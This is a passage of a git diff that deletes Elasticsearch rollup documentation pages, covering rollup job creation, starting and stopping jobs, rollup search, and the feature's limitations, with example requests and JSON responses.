-      "fixed_interval": "1h",
-      "delay": "7d"
-    },
-    "terms": {
-      "fields": [ "node" ]
-    }
-  },
-  "metrics": [
-    {
-      "field": "temperature",
-      "metrics": [ "min", "max", "sum" ]
-    },
-    {
-      "field": "voltage",
-      "metrics": [ "avg" ]
-    }
-  ]
-}
---------------------------------------------------
-// TEST[setup:sensor_index]
-
-If at a later date, we'd like to determine what jobs and capabilities were
-stored in the `sensor_rollup` index, we can use the get rollup index API:
-
-[source,console]
---------------------------------------------------
-GET /sensor_rollup/_rollup/data
---------------------------------------------------
-// TEST[continued]
-
-Note how we are requesting the concrete rollup index name (`sensor_rollup`) as
-the first part of the URL. This  will yield the following response:
-
-[source,console-result]
-----
-{
-  "sensor_rollup" : {
-    "rollup_jobs" : [
-      {
-        "job_id" : "sensor",
-        "rollup_index" : "sensor_rollup",
-        "index_pattern" : "sensor-*",
-        "fields" : {
-          "node" : [
-            {
-              "agg" : "terms"
-            }
-          ],
-          "temperature" : [
-            {
-              "agg" : "min"
-            },
-            {
-              "agg" : "max"
-            },
-            {
-              "agg" : "sum"
-            }
-          ],
-          "timestamp" : [
-            {
-              "agg" : "date_histogram",
-              "time_zone" : "UTC",
-              "fixed_interval" : "1h",
-              "delay": "7d"
-            }
-          ],
-          "voltage" : [
-            {
-              "agg" : "avg"
-            }
-          ]
-        }
-      }
-    ]
-  }
-}
-----
-
-
-The response that is returned contains information that is similar to the
-original rollup configuration, but formatted differently. First, there are some
-house-keeping details: the {rollup-job} ID, the index that holds the rolled data,
-the index pattern that the job was targeting.
-
-Next it shows a list of fields that contain data eligible for rollup searches. 
-Here we see four fields: `node`, `temperature`, `timestamp` and `voltage`. Each
-of these fields list the aggregations that are possible. For example, you can
-use a min, max, or sum aggregation on the `temperature` field, but only a
-`date_histogram` on `timestamp`.
-
-Note that the `rollup_jobs` element is an array; there can be multiple,
-independent jobs configured for a single index or index pattern. Each of these
-jobs may have different configurations, so the API returns a list of all the
-various configurations available.
-
-Like other APIs that interact with indices, you can specify index patterns
-instead of explicit indices:
-
-[source,console]
---------------------------------------------------
-GET /*_rollup/_rollup/data
---------------------------------------------------
-// TEST[continued]
-
diff --git a/docs/reference/rollup/apis/rollup-search.asciidoc b/docs/reference/rollup/apis/rollup-search.asciidoc
deleted file mode 100644
index 19bfb125467..00000000000
--- a/docs/reference/rollup/apis/rollup-search.asciidoc
+++ /dev/null
@@ -1,267 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-search]]
-=== Rollup search
-++++
-<titleabbrev>Rollup search</titleabbrev>
-++++
-
-Enables searching rolled-up data using the standard query DSL.
-
-experimental[]
-
-[[rollup-search-request]]
-==== {api-request-title}
-
-`GET <target>/_rollup_search`
-
-[[rollup-search-desc]]
-==== {api-description-title}
-
-The rollup search endpoint is needed because, internally, rolled-up documents
-utilize a different document structure than the original data. The rollup search
-endpoint rewrites standard query DSL into a format that matches the rollup
-documents, then takes the response and rewrites it back to what a client would
-expect given the original query.
-
-[[rollup-search-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-+
---
-(Required, string)
-Comma-separated list of data streams and indices used to limit
-the request. Wildcard expressions (`*`) are supported.
-
-This target can include both rollup and non-rollup indices.
-
-Rules for the `<target>` parameter:
-
-- At least one data stream, index, or wildcard expression must be specified.
-This target can include a rollup or non-rollup index. For data streams, the
-stream's backing indices can only serve as non-rollup indices. Omitting the
-`<target>` parameter or using `_all` is not permitted.
-- Multiple non-rollup indices may be specified.
-- Only one rollup index may be specified. If more than one are supplied, an
-exception occurs.
-- Wildcard expressions may be used, but, if they match more than one rollup index, an
-exception occurs. However, you can use an expression to match multiple non-rollup
-indices or data streams.
---
-
-[[rollup-search-request-body]]
-==== {api-request-body-title}
-
-The request body supports a subset of features from the regular Search API. It
-supports:
-
-- `query` param for specifying an DSL query, subject to some limitations
-(see <<rollup-search-limitations>> and <<rollup-agg-limitations>>
-- `aggregations` param for specifying aggregations
-
-Functionality that is not available:
-
-- `size`: Because rollups work on pre-aggregated data, no search hits can be
-returned and so size must be set to zero or omitted entirely.
-- `highlighter`, `suggestors`, `post_filter`, `profile`, `explain`: These are
-similarly disallowed.
-
-[[rollup-search-example]]
-==== {api-examples-title}
-
-===== Historical-only search example
-
-Imagine we have an index named `sensor-1` full of raw data, and we have created
-a {rollup-job} with the following configuration:
-
-[source,console]
---------------------------------------------------
-PUT _rollup/job/sensor
-{
-  "index_pattern": "sensor-*",
-  "rollup_index": "sensor_rollup",
-  "cron": "*/30 * * * * ?",
-  "page_size": 1000,
-  "groups": {
-    "date_histogram": {
-      "field": "timestamp",
-      "fixed_interval": "1h",
-      "delay": "7d"
-    },
-    "terms": {
-      "fields": [ "node" ]
-    }
-  },
-  "metrics": [
-    {
-      "field": "temperature",
-      "metrics": [ "min", "max", "sum" ]
-    },
-    {
-      "field": "voltage",
-      "metrics": [ "avg" ]
-    }
-  ]
-}
---------------------------------------------------
-// TEST[setup:sensor_index]
-
-This rolls up the `sensor-*` pattern and stores the results in `sensor_rollup`.
-To search this rolled up data, we need to use the `_rollup_search` endpoint.
-However, you'll notice that we can use regular query DSL to search the rolled-up
-data:
-
-[source,console]
---------------------------------------------------
-GET /sensor_rollup/_rollup_search
-{
-  "size": 0,
-  "aggregations": {
-    "max_temperature": {
-      "max": {
-        "field": "temperature"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sensor_prefab_data]
-// TEST[s/_rollup_search/_rollup_search?filter_path=took,timed_out,terminated_early,_shards,hits,aggregations/]
-
-The query is targeting the `sensor_rollup` data, since this contains the rollup
-data as configured in the job. A `max` aggregation has been used on the
-`temperature` field, yielding the following response:
-
-[source,console-result]
-----
-{
-  "took" : 102,
-  "timed_out" : false,
-  "terminated_early" : false,
-  "_shards" : ... ,
-  "hits" : {
-    "total" : {
-        "value": 0,
-        "relation": "eq"
-    },
-    "max_score" : 0.0,
-    "hits" : [ ]
-  },
-  "aggregations" : {
-    "max_temperature" : {
-      "value" : 202.0
-    }
-  }
-}
-----
-// TESTRESPONSE[s/"took" : 102/"took" : $body.$_path/]
-// TESTRESPONSE[s/"_shards" : \.\.\. /"_shards" : $body.$_path/]
-
-The response is exactly as you'd expect from a regular query + aggregation; it
-provides some metadata about the request (`took`, `_shards`, etc), the search
-hits (which is always empty for rollup searches), and the aggregation response.
-
-Rollup searches are limited to functionality that was configured in the
-{rollup-job}. For example, we are not able to calculate the average temperature
-because `avg` was not one of the configured metrics for the `temperature` field.
-If we try to execute that search:
-
-[source,console]
---------------------------------------------------
-GET sensor_rollup/_rollup_search
-{
-  "size": 0,
-  "aggregations": {
-    "avg_temperature": {
-      "avg": {
-        "field": "temperature"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[catch:/illegal_argument_exception/]
-
-[source,console-result]
-----
-{
-  "error": {
-    "root_cause": [
-      {
-        "type": "illegal_argument_exception",
-        "reason": "There is not a rollup job that has a [avg] agg with name [avg_temperature] which also satisfies all requirements of query.",
-        "stack_trace": ...
-      }
-    ],
-    "type": "illegal_argument_exception",
-    "reason": "There is not a rollup job that has a [avg] agg with name [avg_temperature] which also satisfies all requirements of query.",
-    "stack_trace": ...
-  },
-  "status": 400
-}
-----
-// TESTRESPONSE[s/"stack_trace": \.\.\./"stack_trace": $body.$_path/]
-
-===== Searching both historical rollup and non-rollup data
-
-The rollup search API has the capability to search across both "live"
-non-rollup data and the aggregated rollup data. This is done by simply adding
-the live indices to the URI:
-
-[source,console]
---------------------------------------------------
-GET sensor-1,sensor_rollup/_rollup_search <1>
-{
-  "size": 0,
-  "aggregations": {
-    "max_temperature": {
-      "max": {
-        "field": "temperature"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-// TEST[s/_rollup_search/_rollup_search?filter_path=took,timed_out,terminated_early,_shards,hits,aggregations/]
-<1> Note the URI now searches `sensor-1` and `sensor_rollup` at the same time
-
-When the search is executed, the rollup search endpoint does two things:
-
-1. The original request is sent to the non-rollup index unaltered.
-2. A rewritten version of the original request is sent to the rollup index.
-
-When the two responses are received, the endpoint rewrites the rollup response
-and merges the two together. During the merging process, if there is any overlap
-in buckets between the two responses, the buckets from the non-rollup index are
-used.
-
-The response to the above query looks as expected, despite spanning rollup and
-non-rollup indices:
-
-[source,console-result]
-----
-{
-  "took" : 102,
-  "timed_out" : false,
-  "terminated_early" : false,
-  "_shards" : ... ,
-  "hits" : {
-    "total" : {
-        "value": 0,
-        "relation": "eq"
-    },
-    "max_score" : 0.0,
-    "hits" : [ ]
-  },
-  "aggregations" : {
-    "max_temperature" : {
-      "value" : 202.0
-    }
-  }
-}
-----
-// TESTRESPONSE[s/"took" : 102/"took" : $body.$_path/]
-// TESTRESPONSE[s/"_shards" : \.\.\. /"_shards" : $body.$_path/]
diff --git a/docs/reference/rollup/apis/start-job.asciidoc b/docs/reference/rollup/apis/start-job.asciidoc
deleted file mode 100644
index 28b09375dab..00000000000
--- a/docs/reference/rollup/apis/start-job.asciidoc
+++ /dev/null
@@ -1,63 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-start-job]]
-=== Start {rollup-jobs} API
-[subs="attributes"]
-++++
-<titleabbrev>Start {rollup-jobs}</titleabbrev>
-++++
-
-Starts an existing, stopped {rollup-job}.
-
-experimental[]
-
-[[rollup-start-job-request]]
-==== {api-request-title}
-
-`POST _rollup/job/<job_id>/_start`
-
-[[rollup-start-job-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage` or
-`manage_rollup` cluster privileges to use this API. For more information, see
-<<security-privileges>>.
-
-[[rollup-start-job-desc]]
-==== {api-description-title}
-
-If you try to start a job that does not exist, an exception occurs. If you try
-to start a job that is already started, nothing happens.
-
-[[rollup-start-job-path-params]]
-==== {api-path-parms-title}
-
-`<job_id>`::
-  (Required, string) Identifier for the {rollup-job}.
-  
-[[rollup-start-job-response-codes]]
-==== {api-response-codes-title}
-
- `404` (Missing resources)::
- This code indicates that there are no resources that match the request. It
- occurs if you try to start a job that doesn't exist.
-
-[[rollup-start-job-examples]]
-==== {api-examples-title}
-
-If we have already created a {rollup-job} named `sensor`, it can be started with:
-
-[source,console]
---------------------------------------------------
-POST _rollup/job/sensor/_start
---------------------------------------------------
-// TEST[setup:sensor_rollup_job]
-
-Which will return the response:
-
-[source,console-result]
-----
-{
-  "started": true
-}
-----
\ No newline at end of file
diff --git a/docs/reference/rollup/apis/stop-job.asciidoc b/docs/reference/rollup/apis/stop-job.asciidoc
deleted file mode 100644
index 727981265cb..00000000000
--- a/docs/reference/rollup/apis/stop-job.asciidoc
+++ /dev/null
@@ -1,83 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-stop-job]]
-=== Stop {rollup-jobs} API
-[subs="attributes"]
-++++
-<titleabbrev>Stop {rollup-jobs}</titleabbrev>
-++++
-
-Stops an existing, started {rollup-job}.
-
-experimental[]
-
-[[rollup-stop-job-request]]
-==== {api-request-title}
-
-`POST _rollup/job/<job_id>/_stop`
-
-[[rollup-stop-job-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have `manage` or
-`manage_rollup` cluster privileges to use this API. For more information, see
-<<security-privileges>>.
-
-[[rollup-stop-job-desc]]
-===== {api-description-title}
-
-If you try to stop a job that does not exist, an exception occurs. If you try
-to stop a job that is already stopped, nothing happens.
-
-[[rollup-stop-job-path-parms]]
-==== {api-path-parms-title}
-
-`<job_id>`::
-  (Required, string) Identifier for the {rollup-job}.
-
-[[rollup-stop-job-query-parms]]
-==== {api-query-parms-title}
-
-`timeout`::
-  (Optional, TimeValue) If `wait_for_completion` is `true`, the API blocks for
-  (at maximum) the specified duration while waiting for the job to stop. If more
-  than `timeout` time has passed, the API throws a timeout exception. Defaults
-  to `30s`.
-+
---
-NOTE: Even if a timeout exception is thrown, the stop request is still
-processing and eventually moves the job to `STOPPED`. The timeout simply means
-the API call itself timed out while waiting for the status change.
-
---
-  
-`wait_for_completion`::
-  (Optional, Boolean) If set to `true`, causes the API to block until the
-  indexer state completely stops. If set to `false`, the API returns immediately
-  and the indexer is stopped asynchronously in the background. Defaults to
-  `false`.
-
-[[rollup-stop-job-response-codes]]
-==== {api-response-codes-title}
-
-`404` (Missing resources)::
-  This code indicates that there are no resources that match the request. It
-  occurs if you try to stop a job that doesn't exist.
-
-[[rollup-stop-job-examples]]
-==== {api-examples-title}
-
-Since only a stopped job can be deleted, it can be useful to block the API until
-the indexer has fully stopped. This is accomplished with the
-`wait_for_completion` query parameter, and optionally a `timeout`:
-
-
-[source,console]
---------------------------------------------------
-POST _rollup/job/sensor/_stop?wait_for_completion=true&timeout=10s
---------------------------------------------------
-// TEST[setup:sensor_started_rollup_job]
-
-The parameter blocks the API call from returning until either the job has moved
-to `STOPPED` or the specified time has elapsed. If the specified time elapses
-without the job moving to `STOPPED`, a timeout exception is thrown.
diff --git a/docs/reference/rollup/index.asciidoc b/docs/reference/rollup/index.asciidoc
deleted file mode 100644
index 99180e2f32d..00000000000
--- a/docs/reference/rollup/index.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[xpack-rollup]]
-== Rolling up historical data
-
-experimental[]
-
-Keeping historical data around for analysis is extremely useful but often avoided due to the financial cost of
-archiving massive amounts of data.  Retention periods are thus driven by financial realities rather than by the
-usefulness of extensive historical data.
-
-// tag::rollup-intro[]
-The {stack} {rollup-features} provide a means to summarize and store historical
-data so that it can still be used for analysis, but at a fraction of the storage
-cost of raw data.
-// end::rollup-intro[]
-
-* <<rollup-overview,Overview>>
-* <<rollup-getting-started,Getting started>>
-* <<rollup-api-quickref, API quick reference>>
-* <<rollup-understanding-groups,Understanding rollup grouping>>
-* <<rollup-agg-limitations,Rollup aggregation limitations>>
-* <<rollup-search-limitations,Rollup search limitations>>
-
-
-include::overview.asciidoc[]
-include::api-quickref.asciidoc[]
-include::rollup-getting-started.asciidoc[]
-include::understanding-groups.asciidoc[]
-include::rollup-agg-limitations.asciidoc[]
-include::rollup-search-limitations.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/rollup/overview.asciidoc b/docs/reference/rollup/overview.asciidoc
deleted file mode 100644
index 1d56b56f0bd..00000000000
--- a/docs/reference/rollup/overview.asciidoc
+++ /dev/null
@@ -1,84 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-overview]]
-=== {rollup-cap} overview
-++++
-<titleabbrev>Overview</titleabbrev>
-++++
-
-experimental[]
-
-Time-based data (documents that are predominantly identified by their timestamp) often have associated retention policies
-to manage data growth.  For example, your system may be generating 500 documents every second.  That will generate
-43 million documents per day, and nearly 16 billion documents a year.
-
-While your analysts and data scientists may wish you stored that data indefinitely for analysis, time is never-ending and
-so your storage requirements will continue to grow without bound.  Retention policies are therefore often dictated
-by the simple calculation of storage costs over time, and what the organization is willing to pay to retain historical data.
-Often these policies start deleting data after a few months or years.
-
-Storage cost is a fixed quantity.  It takes X money to store Y data.  But the utility of a piece of data often changes
-with time.  Sensor data gathered at millisecond granularity is extremely useful right now, reasonably useful if from a
-few weeks ago, and only marginally useful if older than a few months.
-
-So while the cost of storing a millisecond of sensor data from ten years ago is fixed, the value of that individual sensor
-reading often diminishes with time.  It's not useless -- it could easily contribute to a useful analysis -- but it's reduced
-value often leads to deletion rather than paying the fixed storage cost.
-
-[discrete]
-==== Rollup stores historical data at reduced granularity
-
-That's where Rollup comes into play.  The Rollup functionality summarizes old, high-granularity data into a reduced
-granularity format for long-term storage.  By "rolling" the data up into a single summary document, historical data
-can be compressed greatly compared to the raw data.
-
-For example, consider the system that's generating 43 million documents every day.  The second-by-second data is useful
-for real-time analysis, but historical analysis looking over ten years of data are likely to be working at a larger interval
-such as hourly or daily trends.
-
-If we compress the 43 million documents into hourly summaries, we can save vast amounts of space.  The Rollup feature
-automates this process of summarizing historical data.
-
-Details about setting up and configuring Rollup are covered in <<rollup-put-job,Create Job API>>
-
-[discrete]
-==== Rollup uses standard query DSL
-
-The Rollup feature exposes a new search endpoint (`/_rollup_search` vs the standard `/_search`) which knows how to search
-over rolled-up data.  Importantly, this endpoint accepts 100% normal {es} Query DSL.  Your application does not need to learn
-a new DSL to inspect historical data, it can simply reuse existing queries and dashboards.
-
-There are some limitations to the functionality available; not all queries and aggregations are supported, certain search
-features (highlighting, etc) are disabled, and available fields depend on how the rollup was configured.  These limitations
-are covered more in <<rollup-search-limitations, Rollup Search limitations>>.
-
-But if your queries, aggregations and dashboards only use the available functionality, redirecting them to historical
-data is trivial.
-
-[discrete]
-==== Rollup merges "live" and "rolled" data
-
-A useful feature of Rollup is the ability to query both "live", realtime data in addition to historical "rolled" data
-in a single query.
-
-For example, your system may keep a month of raw data.  After a month, it is rolled up into historical summaries using
-Rollup and the raw data is deleted.
-
-If you were to query the raw data, you'd only see the most recent month.  And if you were to query the rolled up data, you
-would only see data older than a month.  The RollupSearch endpoint, however, supports querying both at the same time.
-It will take the results from both data sources and merge them together.  If there is overlap between the "live" and
-"rolled" data, live data is preferred to increase accuracy.
-
-[discrete]
-==== Rollup is multi-interval aware
-
-Finally, Rollup is capable of intelligently utilizing the best interval available.  If you've worked with summarizing
-features of other products, you'll find that they can be limiting.  If you configure rollups at daily intervals... your
-queries and charts can only work with daily intervals.  If you need a monthly interval, you have to create another rollup
-that explicitly stores monthly averages, etc.
-
-The Rollup feature stores data in such a way that queries can identify the smallest available interval and use that
-for their processing.  If you store rollups at a daily interval, queries can be executed on daily or longer intervals
-(weekly, monthly, etc) without the need to explicitly configure a new rollup job.  This helps alleviate one of the major
-disadvantages of a rollup system; reduced flexibility relative to raw data.
-
diff --git a/docs/reference/rollup/rollup-agg-limitations.asciidoc b/docs/reference/rollup/rollup-agg-limitations.asciidoc
deleted file mode 100644
index 8390c5b80a5..00000000000
--- a/docs/reference/rollup/rollup-agg-limitations.asciidoc
+++ /dev/null
@@ -1,26 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-agg-limitations]]
-=== {rollup-cap} aggregation limitations
-
-experimental[]
-
-There are some limitations to how fields can be rolled up / aggregated.  This page highlights the major limitations so that
-you are aware of them.
-
-[discrete]
-==== Limited aggregation components
-
-The Rollup functionality allows fields to be grouped with the following aggregations:
-
-- Date Histogram aggregation
-- Histogram aggregation
-- Terms aggregation
-
-And the following metrics are allowed to be specified for numeric fields:
-
-- Min aggregation
-- Max aggregation
-- Sum aggregation
-- Average aggregation
-- Value Count aggregation
\ No newline at end of file
diff --git a/docs/reference/rollup/rollup-api.asciidoc b/docs/reference/rollup/rollup-api.asciidoc
deleted file mode 100644
index a24b85513db..00000000000
--- a/docs/reference/rollup/rollup-api.asciidoc
+++ /dev/null
@@ -1,35 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-apis]]
-== Rollup APIs
-
-[discrete]
-[[rollup-jobs-endpoint]]
-=== Jobs
-
-* <<rollup-put-job,Create>> or <<rollup-delete-job,delete {rollup-jobs}>>
-* <<rollup-start-job,Start>> or <<rollup-stop-job,stop {rollup-jobs}>>
-* <<rollup-get-job,Get {rollup-jobs}>>
-
-[discrete]
-[[rollup-data-endpoint]]
-=== Data
-
-* <<rollup-get-rollup-caps,Get Rollup Capabilities>>
-* <<rollup-get-rollup-index-caps,Get Rollup Index Capabilities>>
-
-[discrete]
-[[rollup-search-endpoint]]
-=== Search
-
-* <<rollup-search,Rollup Search>>
-
-
-include::apis/put-job.asciidoc[]
-include::apis/delete-job.asciidoc[]
-include::apis/get-job.asciidoc[]
-include::apis/rollup-caps.asciidoc[]
-include::apis/rollup-index-caps.asciidoc[]
-include::apis/rollup-search.asciidoc[]
-include::apis/start-job.asciidoc[]
-include::apis/stop-job.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/rollup/rollup-getting-started.asciidoc b/docs/reference/rollup/rollup-getting-started.asciidoc
deleted file mode 100644
index 5ef9b090a61..00000000000
--- a/docs/reference/rollup/rollup-getting-started.asciidoc
+++ /dev/null
@@ -1,324 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-getting-started]]
-=== Getting started with {rollups}
-++++
-<titleabbrev>Getting started</titleabbrev>
-++++
-
-experimental[]
-
-To use the Rollup feature, you need to create one or more "Rollup Jobs".  These jobs run continuously in the background
-and rollup the index or indices that you specify, placing the rolled documents in a secondary index (also of your choosing).
-
-Imagine you have a series of daily indices that hold sensor data (`sensor-2017-01-01`, `sensor-2017-01-02`, etc).  A sample document might
-look like this:
-
-[source,js]
---------------------------------------------------
-{
-  "timestamp": 1516729294000,
-  "temperature": 200,
-  "voltage": 5.2,
-  "node": "a"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[discrete]
-==== Creating a rollup job
-
-We'd like to rollup these documents into hourly summaries, which will allow us to generate reports and dashboards with any time interval
-one hour or greater.  A rollup job might look like this:
-
-[source,console]
---------------------------------------------------
-PUT _rollup/job/sensor
-{
-  "index_pattern": "sensor-*",
-  "rollup_index": "sensor_rollup",
-  "cron": "*/30 * * * * ?",
-  "page_size": 1000,
-  "groups": {
-    "date_histogram": {
-      "field": "timestamp",
-      "fixed_interval": "60m"
-    },
-    "terms": {
-      "fields": [ "node" ]
-    }
-  },
-  "metrics": [
-    {
-      "field": "temperature",
-      "metrics": [ "min", "max", "sum" ]
-    },
-    {
-      "field": "voltage",
-      "metrics": [ "avg" ]
-    }
-  ]
-}
---------------------------------------------------
-// TEST[setup:sensor_index]
-
-We give the job the ID of "sensor" (in the url: `PUT _rollup/job/sensor`), and tell it to rollup the index pattern `"sensor-*"`.
-This job will find and rollup any index that matches that pattern. Rollup summaries are then stored in the `"sensor_rollup"` index.
-
-The `cron` parameter controls when and how often the job activates.  When a rollup job's cron schedule triggers, it will begin rolling up
-from where it left off after the last activation.  So if you configure the cron to run every 30 seconds, the job will process the last 30
-seconds worth of data that was indexed into the `sensor-*` indices.
-
-If instead the cron was configured to run once a day at midnight, the job would process the last 24 hours worth of data.  The choice is largely
-preference, based on how "realtime" you want the rollups, and if you wish to process continuously or move it to off-peak hours.
-
-Next, we define a set of `groups`. Essentially, we are defining the dimensions
-that we wish to pivot on at a later date when querying the data. The grouping in
-this job allows us to use `date_histogram` aggregations on the `timestamp` field,
-rolled up at hourly intervals. It also allows us to run terms aggregations on
-the `node` field.
-
-.Date histogram interval vs cron schedule
-**********************************
-You'll note that the job's cron is configured to run every 30 seconds, but the date_histogram is configured to
-rollup at 60 minute intervals.  How do these relate?
-
-The date_histogram controls the granularity of the saved data.  Data will be rolled up into hourly intervals, and you will be unable
-to query with finer granularity.  The cron simply controls when the process looks for new data to rollup.  Every 30 seconds it will see
-if there is a new hour's worth of data and roll it up.  If not, the job goes back to sleep.
-
-Often, it doesn't make sense to define such a small cron (30s) on a large interval (1h), because the majority of the activations will
-simply go back to sleep.  But there's nothing wrong with it either, the job will do the right thing.
-
-**********************************
-
-After defining which groups should be generated for the data, you next configure
-which metrics should be collected. By default, only the `doc_counts` are
-collected for each group. To make rollup useful, you will often add metrics
-like averages, mins, maxes, etc. In this example, the metrics are fairly
-straightforward: we want to save the min/max/sum of the `temperature`
-field, and the average of the `voltage` field.
-
-.Averages aren't composable?!
-**********************************
-If you've worked with rollups before, you may be cautious around averages. If an
-average is saved for a 10 minute interval, it usually isn't useful for larger
-intervals. You cannot average six 10-minute averages to find a hourly average;
-the average of averages is not equal to the total average.
-
-For this reason, other systems tend to either omit the ability to average or
-store the average at multiple intervals to support more flexible querying.
-
-Instead, the {rollup-features} save the `count` and `sum` for the defined time
-interval. This allows us to reconstruct the average at any interval greater-than
-or equal to the defined interval. This gives maximum flexibility for minimal
-storage costs... and you don't have to worry about average accuracies (no
-average of averages here!)
-**********************************
-
-For more details about the job syntax, see <<rollup-put-job>>.
-
-After you execute the above command and create the job, you'll receive the following response:
-
-[source,console-result]
-----
-{
-  "acknowledged": true
-}
-----
-
-[discrete]
-==== Starting the job
-
-After the job is created, it will be sitting in an inactive state.  Jobs need to be started before they begin processing data (this allows
-you to stop them later as a way to temporarily pause, without deleting the configuration).
-
-To start the job, execute this command:
-
-[source,console]
---------------------------------------------------
-POST _rollup/job/sensor/_start
---------------------------------------------------
-// TEST[setup:sensor_rollup_job]
-
-[discrete]
-==== Searching the rolled results
-
-After the job has run and processed some data, we can use the <<rollup-search>> endpoint to do some searching.  The Rollup feature is designed
-so that you can use the same Query DSL syntax that you are accustomed to... it just happens to run on the rolled up data instead.
-
-For example, take this query:
-
-[source,console]
---------------------------------------------------
-GET /sensor_rollup/_rollup_search
-{
-  "size": 0,
-  "aggregations": {
-    "max_temperature": {
-      "max": {
-        "field": "temperature"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sensor_prefab_data]
-
-It's a simple aggregation that calculates the maximum of the `temperature` field.  But you'll notice that is is being sent to the `sensor_rollup`
-index instead of the raw `sensor-*` indices.  And you'll also notice that it is using the `_rollup_search` endpoint.  Otherwise the syntax
-is exactly as you'd expect.
-
-If you were to execute that query, you'd receive a result that looks like a normal aggregation response:
-
-[source,console-result]
-----
-{
-  "took" : 102,
-  "timed_out" : false,
-  "terminated_early" : false,
-  "_shards" : ... ,
-  "hits" : {
-    "total" : {
-        "value": 0,
-        "relation": "eq"
-    },
-    "max_score" : 0.0,
-    "hits" : [ ]
-  },
-  "aggregations" : {
-    "max_temperature" : {
-      "value" : 202.0
-    }
-  }
-}
-----
-// TESTRESPONSE[s/"took" : 102/"took" : $body.$_path/]
-// TESTRESPONSE[s/"_shards" : \.\.\. /"_shards" : $body.$_path/]
-
-The only notable difference is that Rollup search results have zero `hits`, because we aren't really searching the original, live data any
-more.  Otherwise it's identical syntax.
-
-There are a few interesting takeaways here.  Firstly, even though the data was rolled up with hourly intervals and partitioned by
-node name, the query we ran is just calculating the max temperature across all documents.  The `groups` that were configured in the job
-are not mandatory elements of a query, they are just extra dimensions you can partition on.  Second, the request and response syntax
-is nearly identical to normal DSL, making it easy to integrate into dashboards and applications.
-
-Finally, we can use those grouping fields we defined to construct a more complicated query:
-
-[source,console]
---------------------------------------------------
-GET /sensor_rollup/_rollup_search
-{
-  "size": 0,
-  "aggregations": {
-    "timeline": {
-      "date_histogram": {
-        "field": "timestamp",
-        "fixed_interval": "7d"
-      },
-      "aggs": {
-        "nodes": {
-          "terms": {
-            "field": "node"
-          },
-          "aggs": {
-            "max_temperature": {
-              "max": {
-                "field": "temperature"
-              }
-            },
-            "avg_voltage": {
-              "avg": {
-                "field": "voltage"
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sensor_prefab_data]
-
-Which returns a corresponding response:
-
-[source,console-result]
-----
-{
-   "took" : 93,
-   "timed_out" : false,
-   "terminated_early" : false,
-   "_shards" : ... ,
-   "hits" : {
-     "total" : {
-        "value": 0,
-        "relation": "eq"
-     },
-     "max_score" : 0.0,
-     "hits" : [ ]
-   },
-   "aggregations" : {
-     "timeline" : {
-       "meta" : { },
-       "buckets" : [
-         {
-           "key_as_string" : "2018-01-18T00:00:00.000Z",
-           "key" : 1516233600000,
-           "doc_count" : 6,
-           "nodes" : {
-             "doc_count_error_upper_bound" : 0,
-             "sum_other_doc_count" : 0,
-             "buckets" : [
-               {
-                 "key" : "a",
-                 "doc_count" : 2,
-                 "max_temperature" : {
-                   "value" : 202.0
-                 },
-                 "avg_voltage" : {
-                   "value" : 5.1499998569488525
-                 }
-               },
-               {
-                 "key" : "b",
-                 "doc_count" : 2,
-                 "max_temperature" : {
-                   "value" : 201.0
-                 },
-                 "avg_voltage" : {
-                   "value" : 5.700000047683716
-                 }
-               },
-               {
-                 "key" : "c",
-                 "doc_count" : 2,
-                 "max_temperature" : {
-                   "value" : 202.0
-                 },
-                 "avg_voltage" : {
-                   "value" : 4.099999904632568
-                 }
-               }
-             ]
-           }
-         }
-       ]
-     }
-   }
-}
-
-----
-// TESTRESPONSE[s/"took" : 93/"took" : $body.$_path/]
-// TESTRESPONSE[s/"_shards" : \.\.\. /"_shards" : $body.$_path/]
-
-In addition to being more complicated (date histogram and a terms aggregation, plus an additional average metric), you'll notice
-the date_histogram uses a `7d` interval instead of `60m`.
-
-[discrete]
-==== Conclusion
-
-This quickstart should have provided a concise overview of the core functionality that Rollup exposes.  There are more tips and things
-to consider when setting up Rollups, which you can find throughout the rest of this section.  You may also explore the <<rollup-api-quickref,REST API>>
-for an overview of what is available.
diff --git a/docs/reference/rollup/rollup-search-limitations.asciidoc b/docs/reference/rollup/rollup-search-limitations.asciidoc
deleted file mode 100644
index adc597d02e9..00000000000
--- a/docs/reference/rollup/rollup-search-limitations.asciidoc
+++ /dev/null
@@ -1,135 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[rollup-search-limitations]]
-=== {rollup-cap} search limitations
-
-experimental[]
-
-While we feel the Rollup function is extremely flexible, the nature of summarizing data means there will be some limitations.  Once
-live data is thrown away, you will always lose some flexibility.
-
-This page highlights the major limitations so that you are aware of them.
-
-[discrete]
-==== Only one {rollup} index per search
-
-When using the <<rollup-search>> endpoint, the `index` parameter accepts one or more indices.  These can be a mix of regular, non-rollup
-indices and rollup indices.  However, only one rollup index can be specified.  The exact list of rules for the `index` parameter are as
-follows:
-
-- At least one index/index-pattern must be specified.  This can be either a rollup or non-rollup index.  Omitting the index parameter,
-or using `_all`, is not permitted
-- Multiple non-rollup indices may be specified
-- Only one rollup index may be specified.  If more than one are supplied an exception will be thrown
-- Index patterns may be used, but if they match more than one rollup index an exception will be thrown.
-
-This limitation is driven by the logic that decides which jobs are the "best" for any given query.  If you have ten jobs stored in a single
-index, which cover the source data with varying degrees of completeness and different intervals, the query needs to determine which set
